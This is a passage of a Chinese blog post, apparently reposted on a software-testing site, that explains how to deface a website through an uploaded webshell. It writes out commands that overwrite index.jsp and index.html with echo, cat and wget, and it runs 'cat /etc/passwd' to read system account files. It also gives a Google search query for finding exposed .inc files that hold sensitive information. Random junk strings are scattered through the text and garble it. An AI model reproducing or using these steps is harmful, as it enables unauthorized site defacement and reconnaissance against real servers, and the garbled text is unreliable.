51Testing软件测试网a#ve }]^)gM!a
echo "召唤" > index.jsp

O:O!g3zd]j#X0

I"~&y,Q#{-Sm0
^3Q1JWR2\0现在看看首页，已经被我们改成: "召唤" 了。 51Testing软件测试网@EG(s|)Ltq-HSW"l3J

8G5tWXQ-Z:\cb0我们也可以用WGET上传一个文件上去(比如你要替换的叶子吧)。然后execute Command输入 cat file > index.html or echo "" > file

dvQ)R&?+I4Yk0 51Testing软件测试网w&]HF%HLf

echo "test" >> file 51Testing软件测试网E*|Y1?"LXZN

51Testing软件测试网D q |y~0|G J

这样一条条打出来，站点首页就成功被替换了。同样的也可以

L0cKoS v-d{0

t!feU+]1j051Testing软件测试网cf|6p!K
uname -a;cat /etc/passwd

F2K"d:}}v`0 51Testing软件测试网s%VSa wB

不过有点要注意，有些WEBSHELL程序有问题，执行不了的，

)oDd;d]5Y5{*PP|0

b?+aMY.AE\02.搜索INC敏感信息

4B+PzxS+Z0

tD s U K;N%x0在google的搜索框中填入:

tp8XTW5zM0

u Ow"Br;X(d`0Code:

6u7d4D1N5U;dy:y0

0G-\}tHo5C;@M0.org filetype:inc

|U$b`#^/P!ru`0
51Testing软件测试网({*V;_7ul\ m

4J;gf9|X)Wae0
-Q.V lD*Ww9qM0
测试者家园 2007-07-25 23:21 发表评论

#Gt"}fMT fQ y Z9H3N051Testing软件测试网3bq;TH8\T
Link URL: http://www.cnblogs.com/tester2test/archive/2007/07/25/831552.html

收藏 举报

TAG:

 

评分：0

我来说两句

Open Toolbar